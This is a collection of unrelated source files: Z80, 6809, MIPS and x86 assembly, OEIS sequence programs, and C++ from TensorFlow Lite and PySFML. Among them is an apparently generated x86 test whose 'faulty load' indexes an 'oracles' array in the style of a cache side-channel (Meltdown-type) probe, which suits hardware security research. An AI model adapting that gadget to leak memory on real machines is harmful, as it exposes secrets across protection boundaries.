CALL ASCIIHEX_TO_BYTE ;BYTE IS RETURNED IN 'A'
POP DE
RET
ASCIIHEX_TO_BYTE:
PUSH BC ;SAVE REGISTERS
LD A,D ;LOAD UPPER CHARACTER
CALL CONVERT_HEX_VAL ;CONVERT THE CHARACTER
RLA
RLA
RLA
RLA
LD B,A ;STORE THE FIRST NIBBLE
LD A,E ;GET SECOND CHARACTER
CALL CONVERT_HEX_VAL ;CONVERT THE CHARACTER
ADD A,B ;ADD THE TWO NIBBLES
POP BC
RET
; CONVERTS THE ASCII CHARACTER IN A TO IT'S HEX VALUE IN A, ERROR RETURNS 0FFH
CONVERT_HEX_VAL:
CP 'G' ;GREATER THAN "F"
JP P,CONVERT_HEX_ERROR ;IF SO, ERROR.
CP '0' ;LESS THAN "ZERO"
JP M,CONVERT_HEX_ERROR ;IF SO, ERROR.
CP 03AH ;LESS THAN OR EQUAL TO "9"
JP M,CONVERT_MASK ;IF SO, CONVERT AND RETURN.
CP 'A' ;LESS THAN "A"
JP M,CONVERT_HEX_ERROR ;IF SO, ERROR.
SUB 037H ;MUST BE "A" TO "F", CONVERT.
RET
CONVERT_MASK:
AND 0FH
RET
CONVERT_HEX_ERROR:
LD A,0FFH ;IF ERROR, RETURN 0FFH
RET
;-------------------------------------------------------------------------------
MILLI_DLY: ;DELAY 1 MILLISECOND @ 6MHZ (ESTIMATED)
PUSH AF ; THERE IS NO WAY TO REALLY CALCULATE
PUSH BC ; THIS, AS THE INTERPRETER TAKES TIME.
LD BC,0073H ; 6006 INSTRUCTIONS
MILLI_DLYL:
DEC BC
LD A,C
OR B
JR NZ,MILLI_DLYL
POP BC
POP AF
RET
;-------------------------------------------------------------------------------
HELP_CMDS:
PUSH AF
PUSH BC
PUSH DE
LD DE,HELP_CMD_MSG1
CALL PRTSTG
LD DE,HELP_CMD_MSG2
CALL PRTSTG
LD DE,HELP_CMD_MSG3
CALL PRTSTG
LD DE,HELP_CMD_MSG4
CALL PRTSTG
LD DE,HELP_CMD_MSG5
CALL PRTSTG
LD DE,HELP_CMD_MSG6
CALL PRTSTG
LD DE,HELP_CMD_MSG7
CALL PRTSTG
LD DE,HELP_CMD_MSG8
CALL PRTSTG
POP DE
POP BC
POP AF
INC DE
;JP RUNSML
JP RUNNXL
HELP_CMD_MSG1:
DB LF,LF,TAB,'TinyBASIC 2.5g Expanded Instructions',LF,LF,CR
HELP_CMD_MSG2:
DB TAB,'OUT PP,V',LF,CR
HELP_CMD_MSG3:
DB TAB,'IN PP,V',LF,CR
HELP_CMD_MSG4:
DB TAB,'POKE AAAA,V',LF,CR
HELP_CMD_MSG5:
DB TAB,'PEEK AAAA,V',LF,CR
HELP_CMD_MSG6:
DB TAB,'DELAY',LF,CR
HELP_CMD_MSG7:
DB TAB,'CLS',LF,LF,LF,CR
HELP_CMD_MSG8:
DB TAB,'PP=HEX PORT AAAA=HEX ADDR V=VARIABLE',LF,LF,CR
;-------------------------------------------------------------------------------
;///////////////////////////////////////////////////////////////////////////////
;-------------------------------------------------------------------------------
;COMPUTER SPECIFIC ROUTINES.
;-------------------------------------------------------------------------------
SERIAL_INIT:
PUSH AF
CALL UART_CLEAR_DLAB
CALL UART_DISABLE_FIFO
CALL UART_SET_LINE_CONTROL
CALL UART_TOGGLE_OUT1
CALL UART_TOGGLE_OUT2
CALL UART_CLEAR_LSR
CALL UART_SET_DLAB
CALL UART_SET_BAUD
CALL UART_CLEAR_DLAB
POP AF
RET
;-------------------------------------------------------------------------------
TX_RDY:
; This routine is checking if the Serial Port is ready to send
; a character.
PUSH AF
CALL UART_TOGGLE_OUT1
CALL UART_CLEAR_DLAB
TX_RDY_LOOP:
;Read transmit register status in line status register (LSR) See page 22
;Wait if not empty
IN A, (UART_LSR)
AND 60H
CP 60H
JP NZ, TX_RDY_LOOP
;Write Char to UART
POP AF
RET
;-------------------------------------------------------------------------------
RX_RDY:
; This routine is for checkif if a character is available over
; serial. If a character is available, it returns to the calling
; function with the character in 'A' and the Z-flag reset.
; However, if a character is not available, it returns with the
; Z-flag set.
CALL UART_CLEAR_DLAB
;Read Line Status Reg
IN A, (UART_LSR)
;If only bit 1 is set then FIFO has new data
AND 1
CP 0
JP Z, RX_RDY_END
CALL UART_TOGGLE_OUT2
XOR A
CP 1
;Get next char from data holding register
IN A, (UART_DHR)
RX_RDY_END:
RET
;-------------------------------------------------------------------------------
;///////////////////////////////////////////////////////////////////////////////
;-------------------------------------------------------------------------------
;
LSTROM: ;ALL ABOVE CAN BE ROM
; ORG 1000H ;HERE DOWN MUST BE RAM
ORG 08000H
ORG 0FF00H
VARBGN: DS 55 ;VARIABLE @(0)
BUFFER: DS 64 ;INPUT BUFFER
BUFEND: DS 1 ;BUFFER ENDS
STKLMT: DS 1 ;TOP LIMIT FOR STACKB
|
;******************************************************************************
;
; (c) 2010 by BECK IPC GmbH
; http://www.beck-ipc.com
;
;******************************************************************************
;
; Module: cry22.asm
; Function: Dynamic linking of TCPI/IP API Function Crypt_SHA1_Update()
;
;
;******************************************************************************
;
; $Header$
;
;******************************************************************************
INCLUDE tcpipapi.def
_TEXT SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:_TEXT, DS:NOTHING, ES:NOTHING, SS:NOTHING
;******************************************************************************
; Prototypes
;******************************************************************************
PUBLIC _Crypt_SHA1_Update_Dyn
;******************************************************************************
; Crypt_SHA1_Update()
;******************************************************************************
_Crypt_SHA1_Update_Dyn PROC FAR
LINKER_PATCH ; Will be replaced by dynamic linking code
MOV AX, TCPIP_DYN_LINK_Crypt_SHA1_Update ; AH = 0, AL = Function number
INT TCPIP_SWI
; IP-Register will be adjusted on return from software interrupt so that the
; new code is executed immediately.
_Crypt_SHA1_Update_Dyn ENDP
_TEXT ENDS
END
; End of file
|
; A153448: 3 times 12-gonal (or dodecagonal) numbers: 3*n*(5*n-4).
; 0,3,36,99,192,315,468,651,864,1107,1380,1683,2016,2379,2772,3195,3648,4131,4644,5187,5760,6363,6996,7659,8352,9075,9828,10611,11424,12267,13140,14043,14976,15939,16932,17955,19008,20091,21204,22347,23520,24723,25956,27219,28512,29835,31188,32571,33984,35427,36900,38403,39936,41499,43092,44715,46368,48051,49764,51507,53280,55083,56916,58779,60672,62595,64548,66531,68544,70587,72660,74763,76896,79059,81252,83475,85728,88011,90324,92667,95040,97443,99876,102339,104832,107355,109908,112491,115104,117747,120420,123123,125856,128619,131412,134235,137088,139971,142884,145827
mov $1,$0
mul $1,15
sub $1,12
mul $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xb3af, %rsi
lea addresses_WT_ht+0x47af, %rdi
nop
nop
nop
sub %r14, %r14
mov $23, %rcx
rep movsl
nop
nop
nop
nop
add %r8, %r8
lea addresses_normal_ht+0x1e63, %rsi
lea addresses_D_ht+0x5d5f, %rdi
clflush (%rsi)
nop
xor %r10, %r10
mov $10, %rcx
rep movsq
nop
nop
nop
xor $41009, %rcx
lea addresses_D_ht+0x171ef, %rsi
lea addresses_A_ht+0x34eb, %rdi
nop
nop
nop
sub %rbp, %rbp
mov $79, %rcx
rep movsl
nop
nop
nop
nop
nop
add $26719, %r8
lea addresses_normal_ht+0x111af, %r8
nop
nop
nop
nop
add %r10, %r10
mov (%r8), %di
nop
nop
nop
nop
nop
sub %r14, %r14
lea addresses_normal_ht+0x1b289, %rsi
lea addresses_A_ht+0xbbaf, %rdi
nop
nop
nop
nop
sub %r8, %r8
mov $46, %rcx
rep movsl
nop
nop
nop
add $10899, %r10
lea addresses_WC_ht+0x10cf4, %rdi
nop
nop
nop
nop
nop
cmp $38044, %rbp
mov $0x6162636465666768, %r8
movq %r8, (%rdi)
nop
nop
nop
nop
nop
cmp %r8, %r8
lea addresses_WC_ht+0xc3d9, %r8
nop
add $42566, %rsi
movups (%r8), %xmm2
vpextrq $1, %xmm2, %r10
nop
nop
nop
xor %rcx, %rcx
lea addresses_normal_ht+0x1e7af, %r14
clflush (%r14)
nop
and %rsi, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
vmovups %ymm7, (%r14)
nop
cmp %rcx, %rcx
lea addresses_D_ht+0x183af, %rsi
nop
cmp %r8, %r8
mov (%rsi), %edi
cmp $55073, %rcx
lea addresses_UC_ht+0x1b52f, %rcx
nop
nop
nop
nop
nop
dec %rbp
mov $0x6162636465666768, %r8
movq %r8, %xmm3
and $0xffffffffffffffc0, %rcx
vmovntdq %ymm3, (%rcx)
nop
nop
and $53342, %rsi
lea addresses_D_ht+0x141af, %r14
nop
add %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, (%r14)
nop
nop
nop
nop
xor $54766, %r14
lea addresses_WT_ht+0x1dfaf, %rsi
lea addresses_WC_ht+0x1746f, %rdi
nop
nop
nop
nop
nop
cmp $65442, %rbp
mov $79, %rcx
rep movsb
nop
nop
nop
nop
and $30355, %rbp
lea addresses_WC_ht+0x31af, %rdi
nop
nop
nop
nop
dec %rcx
movl $0x61626364, (%rdi)
sub $28819, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r9
push %rcx
push %rdx
push %rsi
// Store
lea addresses_PSE+0x45a6, %r9
nop
nop
add %rsi, %rsi
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
movups %xmm1, (%r9)
nop
nop
xor %r12, %r12
// Store
lea addresses_A+0x14322, %rcx
nop
nop
nop
nop
nop
xor %r13, %r13
mov $0x5152535455565758, %r15
movq %r15, (%rcx)
nop
nop
nop
nop
nop
add %rsi, %rsi
// Store
lea addresses_UC+0xd3af, %r12
cmp %rcx, %rcx
movb $0x51, (%r12)
cmp $51299, %rsi
// Load
lea addresses_WC+0x578f, %r9
add $13445, %rcx
mov (%r9), %r13d
nop
nop
add %rcx, %rcx
// Load
lea addresses_RW+0x1dbaf, %rsi
nop
dec %r13
movb (%rsi), %r9b
nop
add $21910, %r15
// Faulty Load
lea addresses_RW+0x1dbaf, %rcx
nop
nop
nop
nop
xor %r15, %r15
mov (%rcx), %r13w
lea oracles, %rdx
and $0xff, %r13
shlq $12, %r13
mov (%rdx,%r13,1), %r13
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': True}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
;
; LCD.ASM
; -------
; Methods to control an Ampire 162B 16x2 LCD
; display based on the KS0066U controller
;
lcd_command EQU $E090
lcd_status EQU $E090
lcd_data EQU $E091
;
; LCD_INIT
; --------
; Initialise the LCD display
;
lcd_init
PSHS A
BSR lcd_wait
LDA #%00111100 ; Function set
STA lcd_command
BSR lcd_wait
LDA #%00001110 ; Display on
STA lcd_command
BSR lcd_wait
LDA #%00000001 ; Display clear
STA lcd_command
BSR lcd_wait
LDA #%00000110 ; Entry mode set
STA lcd_command
BSR lcd_wait
LDA #%10000000 ; set DDRAM address (next operation is write to display)
STA lcd_command
BSR lcd_wait
PULS A
RTS
;
; LCD_PUTCHAR
; -----------
; Print the character in A
;
lcd_putchar
STA lcd_data
BSR lcd_wait
RTS
;
; LCD_PUTS
; --------
; Print the '\0' terminated string pointed to by X
;
lcd_puts
PSHS A,X
lcd_putchar_next
LDA ,X+
BEQ lcd_puts_done
BSR lcd_putchar
BRA lcd_putchar_next
lcd_puts_done
PULS A,X
RTS
;
; LCD_WAIT
; --------
; Wait until LCD status register indicates ready
; That is, check the top bit of the status register
;
lcd_wait
PSHS A
lcd_wait_longer
LDA lcd_status
BMI lcd_wait_longer
PULS A
RTS
|
; A054607: a(n) = Sum_{d|8} phi(d)*n^(8/d).
; Submitted by Jamie Morken(s4)
; 0,8,288,6672,65840,391320,1681008,5767328,16781472,43053480,100010240,214373808,430002768,815759672,1475827920,2562941760,4295033408,6975841608,11020066272,16983694160,25600160880,37823054808,54876108848
mov $1,$0
pow $0,2
mul $1,2
add $1,4
add $1,$0
pow $0,2
add $0,1
bin $0,2
add $0,$1
sub $0,4
mul $0,2
|
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
// This transformation pass applies quantization propagation on TFLite dialect.
#include <string>
#include "absl/memory/memory.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "mlir/IR/MLIRContext.h" // TF:local_config_mlir
#include "mlir/IR/PatternMatch.h" // TF:local_config_mlir
#include "mlir/Pass/Pass.h" // TF:local_config_mlir
#include "tensorflow/compiler/mlir/lite/ir/tfl_ops.h"
#include "tensorflow/compiler/mlir/lite/quantization/quantization_config.h"
#include "tensorflow/compiler/mlir/lite/quantization/quantization_utils.h"
#include "tensorflow/compiler/mlir/lite/transforms/passes.h"
#include "tensorflow/core/framework/types.pb.h"
// NOLINTNEXTLINE
static llvm::cl::list<std::string> quantize_whitelist(
"tfl-test-quantize-whitelist", llvm::cl::value_desc("list"),
llvm::cl::desc("comma seprarated list of whitelisted functions to be "
"quantized. Only used in tests"),
llvm::cl::CommaSeparated);
// NOLINTNEXTLINE
static llvm::cl::opt<bool> quantize_signed(
"tfl-test-quantize-signed", llvm::cl::value_desc("bool"),
llvm::cl::desc("signed inference type. Only used in tests"),
llvm::cl::init(false));
//===----------------------------------------------------------------------===//
// The prepare-quantize Pass.
//
namespace mlir {
namespace TFL {
namespace {
// Applies prepare quantization on the model in TFL dialect. This pass runs
// before the quantization pass and propagate the quantization parameters
// across ops. This step is necessary for post-training quantization and also
// making the quantization rule for some operations in the quantization-aware
// training quantization simpler.
class PrepareQuantizePass : public FunctionPass<PrepareQuantizePass> {
public:
// Constructor used by the PassRegistration and enforce uint8 quantization.
explicit PrepareQuantizePass() {
if (quantize_signed)
quant_specs_.inference_type = tensorflow::DT_QINT8;
else
quant_specs_.inference_type = tensorflow::DT_QUINT8;
}
// Constructor used by manually creating the pass.
explicit PrepareQuantizePass(const QuantizationSpecs& quant_specs)
: quant_specs_(quant_specs) {}
void runOnFunction() override;
private:
// Set the quantization parameters of the input nodes. These parameters are
// converted from the user specified input value ranges. The input nodes with
// non-float tensor types will be skipped because they are not quantizable.
// Return true if number of input nodes doesn't equal to that of the input
// ranges.
bool SetInputNodesQuantizationParams(FuncOp func);
// Verify the quantization specification is expected for quantizing the
// current function.
bool IsLegalQuantSpecs(FuncOp func) {
if (func.getName() == quant_specs_.target_func) {
return func.getNumArguments() == quant_specs_.input_ranges.size();
}
return true;
}
// Get the min and max values from the quantization specification for the
// current function function and argument index. Uses default values if
// the function is specified in the `quantize_whitelist`.
std::pair<double, double> GetMinMaxValuesForArgument(
llvm::StringRef func_name, int index) {
if (func_name == quant_specs_.target_func) {
return quant_specs_.input_ranges[index];
} else {
return {0.0, 255.0};
}
}
QuantizationSpecs quant_specs_;
};
bool PrepareQuantizePass::SetInputNodesQuantizationParams(FuncOp func) {
StringRef func_name = func.getName();
auto& target_func = quant_specs_.target_func;
// Skip this function because it isn't the target function from the spec or
// in the function while list.
if (target_func != func_name &&
!llvm::is_contained(quantize_whitelist, func_name)) {
return false;
}
// If the validation fails, the pass should stop immediately.
if (!IsLegalQuantSpecs(func)) {
return true;
}
OpBuilder builder(func);
bool is_signed = quant_specs_.IsSignedInferenceType();
IntegerAttr num_bits =
builder.getI32IntegerAttr(quant_specs_.GetQuantizationTypeWidth());
BoolAttr narrow_range = builder.getBoolAttr(false);
for (int i = 0, e = func.getNumArguments(); i != e; ++i) {
Value* arg = func.getArgument(i);
if (!arg->hasOneUse() ||
!llvm::isa<TFL::InputOp>(*arg->getUsers().begin())) {
return true;
}
Operation* input = *arg->getUsers().begin();
auto input_op = llvm::cast<TFL::InputOp>(input);
Location loc = input_op.getLoc();
Type input_type = input_op.input()->getType();
if (auto shaped = input_type.dyn_cast<ShapedType>()) {
if (shaped.getElementType().isa<FloatType>()) {
auto min_max = GetMinMaxValuesForArgument(func_name, i);
TypeAttr params = GetQuantizedTypeAttr(
builder, input_type, builder.getF64FloatAttr(min_max.first),
builder.getF64FloatAttr(min_max.second), num_bits, narrow_range,
is_signed);
builder.setInsertionPoint(input->getBlock(),
++Block::iterator(input_op));
auto q_op = builder.create<TFL::QuantizeOp>(loc, params.getValue(),
input_op.output(), params);
auto dq_op =
builder.create<TFL::DequantizeOp>(loc, input_type, q_op.output());
input_op.output()->replaceAllUsesWith(dq_op.output());
q_op.setOperand(input_op.output());
}
}
}
return false;
}
#include "tensorflow/compiler/mlir/lite/utils/generated_op_quant_spec_getters.inc"
using PrepareQuantStats =
TFL::ConvertStatsToQDQs<TFL::QuantizeOp, TFL::DequantizeOp>;
void PrepareQuantizePass::runOnFunction() {
FuncOp func = getFunction();
MLIRContext* ctx = func.getContext();
// Set the quantization parameters for the quantizable input nodes. If this
// failed, return the function immediately. This is only required for
// quantization aware training model conversion.
// TODO(fengliuai): send the signal to the pass manager.
if (!quant_specs_.post_training_quantization &&
SetInputNodesQuantizationParams(func)) {
return;
}
// During the legalization, unsigned quantized type is used, so we have to
// convert all of them to signed.
OwningRewritePatternList patterns;
bool is_signed = quant_specs_.IsSignedInferenceType();
if (is_signed) {
patterns.insert<ConvertUnsignedToSigned<TFL::QuantizeOp>>(ctx);
// Convert quant stats to int8 quantization parameters.
// Currently, only activation stats are imported, so narrow_range = false.
patterns.insert<PrepareQuantStats>(8, false, true, ctx);
} else {
// Convert quant stats to uint8 quantization parameters.
// Currently, only activation stats are imported, so narrow_range = false.
patterns.insert<PrepareQuantStats>(8, false, false, ctx);
}
applyPatternsGreedily(func, patterns);
// Finally, the quantization parameters can be propagated to the rest of the
// values (tensors).
ApplyQuantizationParamsPropagation(func, is_signed, GetOpQuantSpec);
}
} // namespace
// Creates an instance of the TensorFlow Lite dialect PrepareQuantize pass.
std::unique_ptr<OpPassBase<FuncOp>> CreatePrepareQuantizePass(
const QuantizationSpecs& quant_specs) {
return std::make_unique<PrepareQuantizePass>(quant_specs);
}
static PassRegistration<PrepareQuantizePass> pass(
"tfl-prepare-quantize", "Prepare TFL dialect for quantization");
} // namespace TFL
} // namespace mlir
|
#include <napi.h>
Napi::Value GetMathWrap(const Napi::CallbackInfo& info); |
/*
* PySFML - Python bindings for SFML
* Copyright (c) 2012-2017, Jonathan De Wachter <dewachter.jonathan@gmail.com>
*
* This file is part of PySFML project and is available under the zlib
* license.
*/
#ifndef PYSFML_SYSTEM_NUMERICOBJECT_HPP
#define PYSFML_SYSTEM_NUMERICOBJECT_HPP
#include "Python.h"
#include <SFML/Config.hpp>
class SFML_API_EXPORT NumericObject
{
public:
NumericObject();
NumericObject(const NumericObject& copy);
NumericObject(PyObject* object);
~NumericObject();
PyObject* get();
void set(PyObject* object);
NumericObject operator+() const;
NumericObject operator-() const;
NumericObject operator+(const NumericObject& object) const;
NumericObject operator-(const NumericObject& object) const;
NumericObject operator*(const NumericObject& object) const;
NumericObject operator/(const NumericObject& object) const;
NumericObject operator~() const;
NumericObject operator&(const NumericObject& object) const;
NumericObject operator|(const NumericObject& object) const;
NumericObject operator^(const NumericObject& object) const;
NumericObject& operator+=(const NumericObject& b);
NumericObject& operator-=(const NumericObject& b);
NumericObject& operator*=(const NumericObject& b);
NumericObject& operator/=(const NumericObject& b);
NumericObject& operator&=(const NumericObject& b);
NumericObject& operator|=(const NumericObject& b);
NumericObject& operator^=(const NumericObject& b);
bool operator==(const NumericObject &b) const;
bool operator!=(const NumericObject &b) const;
bool operator<(const NumericObject &b) const;
bool operator>(const NumericObject &b) const;
bool operator<=(const NumericObject &b) const;
bool operator>=(const NumericObject &b) const;
private:
PyObject* m_object;
};
#endif // PYSFML_SYSTEM_NUMERICOBJECT_HPP
|
; A010674: Period 2: repeat (0,3).
; 0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0
mul $0,3
mod $0,6
|
.data
msg: .asciiz "O valor impresso no final deve ser 8191 e não deve imprimir 'Erro'.\n"
errotext: .asciiz "Erro\n"
.text
main:
# Notem que as somas são todas potências de 2. Vocês podem
# usar isso para achar o ponto do erro do seu emulador (caso exista).
la $a0, msg # coloca em a0 o parâmetro da chamada a syscall
li $v0, 4 # 4 é o código para imprimir uma string
syscall
addi $t0, $zero, 0
beq $t0, $zero, t_dois
addi $t0, $t0, 1 # Branch delay slot - Taken
t_dois:
addi $t1, $zero, 1
bne $t0, $t1, erro
addi $t0, $t0, 2 # Branch delay slot - Not taken
beq $t0, $t1, erro
addi $t0, $t0, 4 # Branch delay slot - Not taken
j t_tres
addi $t0, $t0, 8 # Branch delay slot
addi $t0, $t0, 1 # Não deveria rodar
t_tres:
jal vai
addi $t0, $t0, 16 # Branch delay slot
addi $t0, $t0, 32
la $t2, vai2
jalr $t2
addi $t0, $t0, 64 # Branch delay slot
addi $t0, $t0, 128
la $t2, vai3
la $s0, t_quatro
jalr $s0, $t2
addi $t0, $t0, 256 # Branch delay slot
addi $t0, $t0, 512
t_quatro:
move $a0, $t0
li $v0, 1
syscall
addi $v0, $zero, 10 # exit syscall code = 10
syscall
vai:
jr $ra
addi $t0, $t0, 1024 # Branch delay slot
vai2:
jr $ra
addi $t0, $t0, 2048 # Branch delay slot
vai3:
jr $s0
addi $t0, $t0, 4096 # Branch delay slot
erro:
la $a0, errotext # coloca em a0 o parâmetro da chamada a syscall
li $v0, 4 # 4 é o código para imprimir uma string
syscall
addi $v0, $zero, 10 # exit syscall code = 10
syscall |
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1993 -- All Rights Reserved
PROJECT: PC/GEOS
MODULE: Loader
FILE: videoHGC.asm
ROUTINES:
Name Description
---- -----------
LoaderDisplayHGC Switch to HGC, and display the splash screen.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric/Chung 3/93 Initial version
DESCRIPTION:
$Id: videoHGC.asm,v 1.1 97/04/04 17:26:49 newdeal Exp $
------------------------------------------------------------------------------@
HERC_START_OFFSET equ 0
HERC_BUF_LENGTH equ 0x8000
HGC_CHAR_WIDTH equ 80
HGC_CHAR_HEIGHT equ 20
